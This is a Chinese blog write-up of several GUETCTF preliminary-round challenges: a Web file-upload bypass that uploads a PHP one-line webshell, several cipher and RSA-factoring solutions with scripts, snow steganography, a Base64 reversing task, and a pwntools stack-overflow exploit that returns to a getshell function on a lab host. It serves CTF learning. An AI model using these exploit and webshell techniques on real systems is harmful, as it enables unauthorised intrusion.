GUETCTF第三届梦极光杯初赛部分WP

这篇博客探讨了一系列网络安全和逆向工程问题,包括Web安全中的文件上传漏洞利用、非预期解密方法、RSA加密的解密过程以及异常Base64编码的解析。通过解决这些挑战,展示了对加密算法、栈溢出漏洞和Base64编码的理解和应用。
摘要由CSDN通过智能技术生成

Web

Upload

文件上传,查看源码发现白名单是png,jpg和gif

写一个一句话木马

提交后用bp把文件后缀名改为php

然后就用蚁剑连接

在根目录下发现flag

Crypto

大学生张三

 

解压后是一个图片

是希腊字母

对照希腊字母大小写解出flag:GUeTctf{LaTeX iS goOD}

不过出题方好像是要我们找到他们的发音什么的,这是非预期

柯南道尔的手稿

 前一半flag是替换密码,用qiuqiu解密

得到一半的flag:guetctf{m0no@1ph@betic_cipher_@nd_

翻译文章得到了key:fuermosi

 用维吉尼亚密码解密得到后半flag:v19enere}

 

初中生张三

下载得到两个文件

output.txt:

n = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579490759338686340748881816419455244534040631473789009700628519453443051602228960172027560798010578163816609879272793648438019162990654418331739655246830933124359980893533311832738385124690021939400608344686466159239906594501146756572725216163176976837852951340585197433738815161392095711859551139354910787737443884763
c = 1263014643271828791081358366669403898447454851208347561512246477851408666843208050245458152778124310505189513567872819708791547863089082767253757131001707518256312495606427123589832591627231688943204662572575241318938047941518182988607061989807574408054238640752802115705845564311653669247957995938859980828570210961433027399868524711955684373328635446247408141474992333902524001031782554172313282626838376550519155921355185602240197543928083853896229211455517676258423202525755267816713849251699983306886706605697363714399487853808488091542082793626359758162042432111708456927378967869087487928750517180888720806611
gift = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579487436630315165023708642270933734182788884753935630472347474207436398366750124020713041945559582979845489974546171220269274785420798932077498634255551078266569814537282069392884251498459424382395431598314059145440756188749451813602760399832987773292896793499527246728557019917385596236288618589252285262735677647360

 challenge:

from Crypto.Util.number import *
from GUETCTF import flag

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 0x10001
m = bytes_to_long(flag)
c = pow(m, e, n)
gift = (p+e)*(q-e)

output = open('output.txt', 'w')
output.write('n = ' + str(n) + '\n')
output.write('c = ' + str(c) + '\n')
output.write('gift = ' + str(gift) + '\n')

利用gift与n算p,q

sage:

n = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579490759338686340748881816419455244534040631473789009700628519453443051602228960172027560798010578163816609879272793648438019162990654418331739655246830933124359980893533311832738385124690021939400608344686466159239906594501146756572725216163176976837852951340585197433738815161392095711859551139354910787737443884763
c = 1263014643271828791081358366669403898447454851208347561512246477851408666843208050245458152778124310505189513567872819708791547863089082767253757131001707518256312495606427123589832591627231688943204662572575241318938047941518182988607061989807574408054238640752802115705845564311653669247957995938859980828570210961433027399868524711955684373328635446247408141474992333902524001031782554172313282626838376550519155921355185602240197543928083853896229211455517676258423202525755267816713849251699983306886706605697363714399487853808488091542082793626359758162042432111708456927378967869087487928750517180888720806611
gift = 14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579487436630315165023708642270933734182788884753935630472347474207436398366750124020713041945559582979845489974546171220269274785420798932077498634255551078266569814537282069392884251498459424382395431598314059145440756188749451813602760399832987773292896793499527246728557019917385596236288618589252285262735677647360
e = 0x10001
var('p q')
solve([(p+e)*(q-e)==gift,p * q==n],[p,q])

 得到

[p == 150414490626131999840290275061353186166370322157486732633324629991276538677683227821774756078749332578169204118089196270868895587269842124291802615666317942002482915541149325838526414071563893000512999418976026095744564441490868843345059661074084081258480389396836118352516862360718545807908937715376916455003, q == 99714758090682937887894704292011421182518149287516665632313811573386865991473127961865812260826877001626110497349336821330809165012395884137065729939860249551404040230371599452917884071753755136760518035833468469511966799014970191212427252065378388960117005995845758986124686849183450046239192340618764609921]

解密脚本

import gmpy2
from Crypto.Util.number import *
def Decrypt(c,e,p,q):
    L=(p-1)*(q-1)
    d = gmpy2.invert(e,L)
    n=p*q
    m=gmpy2.powmod(c,d,n)
    flag=str(m)
    return flag
p =150414490626131999840290275061353186166370322157486732633324629991276538677683227821774756078749332578169204118089196270868895587269842124291802615666317942002482915541149325838526414071563893000512999418976026095744564441490868843345059661074084081258480389396836118352516862360718545807908937715376916455003
n =14998544546118048751019431798420317023513867039909900667539090644907799607996694305477717018412814449315734959892105547903664694318938627795989848923279858864657261920441046071546599828892800165919419163722272763471528966933521270021271032841128002046813776630810447335258252223059548967793232680929579490759338686340748881816419455244534040631473789009700628519453443051602228960172027560798010578163816609879272793648438019162990654418331739655246830933124359980893533311832738385124690021939400608344686466159239906594501146756572725216163176976837852951340585197433738815161392095711859551139354910787737443884763
q = n//p
e = 0x10001
c =1263014643271828791081358366669403898447454851208347561512246477851408666843208050245458152778124310505189513567872819708791547863089082767253757131001707518256312495606427123589832591627231688943204662572575241318938047941518182988607061989807574408054238640752802115705845564311653669247957995938859980828570210961433027399868524711955684373328635446247408141474992333902524001031782554172313282626838376550519155921355185602240197543928083853896229211455517676258423202525755267816713849251699983306886706605697363714399487853808488091542082793626359758162042432111708456927378967869087487928750517180888720806611

print (Decrypt(c,e,p,q))
print(long_to_bytes(int(Decrypt(c,e,p,q)))) #long_to_bytes正整数转化为byte类型字符串

 

 

GUETCTF{One_E2_equ@ti0n5}

 MICS

 冬天到了

解压后得到一个图片,下部分有个红色的竖线,猜想是长不够,修改长发现

Password:snow_snow_snow

把图片拉入010editor,发现有flag.txt和压缩包的开头,用foremost分离压缩包

 压缩包里面的flag.txt 

使用snow.exe解密,密码:snow_snow_snow

得到flag:GUETCTF{Th3_sn0w_1s_b3aut1ful}

PWN

pwn1

直接用nc连接,cat flag

 pwn2

 

使用 checksec 检查保护以及位数。

 可以看到题目是 64 位的,只开了 NX 保护。接着将 pwn2 文件放入 ida64 中进行反编译。

进入 ida 后使用 F5 加载伪代码。

分析main函数

通过观察可以发现,定义了两个数组一个是 v4,一个是 buf 大小都是 32。 接着观察主体函数逻辑,首先有三个 puts 函数进行打印文本,接着出现一个 read 函数。

对该 read 函数进行分析。 read函数读取我们所输入的内容将其存在buf数组中,但是定义了只能接受0xA大小的数据明显无法构造我们所需要的 ROP 链,这里不存在漏洞。 分析下一个 read 函数,可以看到该 read 函数可以接受 0x80 大小的数据。

点击buf发现

可以看到 ret 返回地址处在 0x40+0x8 的地方,但是我们可以输入 0x80 大小的数据。此处存在栈溢出漏洞。

接着在 ida 中找到了 getshell 函数

点击bin

 那么 system 函数的位置就在 0x40067A 的位置上了。 那就直接编写 exp 就好了 exp 如下:

from pwn import*
context.log_level = 'debug'
p = remote('172.16.64.96',9199)
system_addr = 0x40067A
p.recvuntil('Please input your name.')
p.sendline(b'aaaa')
p.recvuntil('Please input your password.')
payload = b'a'*(0x48) + p64(system_addr)
p.sendline(payload)
p.interactive()

flag:

GUETCTF{c719652a-baf2-4875-ad9a-4be0047cf706}

RESVER 

Re3

题目描述:

 

 已经给了提示是异常的 base64 了

先运行看看

 

 丢 exeinfo,无壳,64 位

 

丢 ida,找到主函数反汇编

跟进 base64_encode 加密函数

大概就是 flag 经过不一样的 Base64 加密后得到的字符串和 v4 进行比较,相等则
成功
查看 v4 字符串,这里是小端序,字符串从右往左看

所以 v4 为 F1JTJSBIFntXL0wwdmJfF3IzdV0=
猜测是对正常的 base64 加密的字符串进行替换,用 x64dbg 来看
想到比赛说 flag 都是由 GUETCTF{}包裹,试试运气看看 GUETCTF,丢进 x64dbg

证明猜想是正确的,且可以知道异常 base64 加密就是对正常 base64 加密的大写
字母进行了替换,其余的均不变
主要的替换规则如下 

手动换字母得到 R1VFVENURntJX0wwdmVfR3UzdH0= 

提交确实是 flag 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值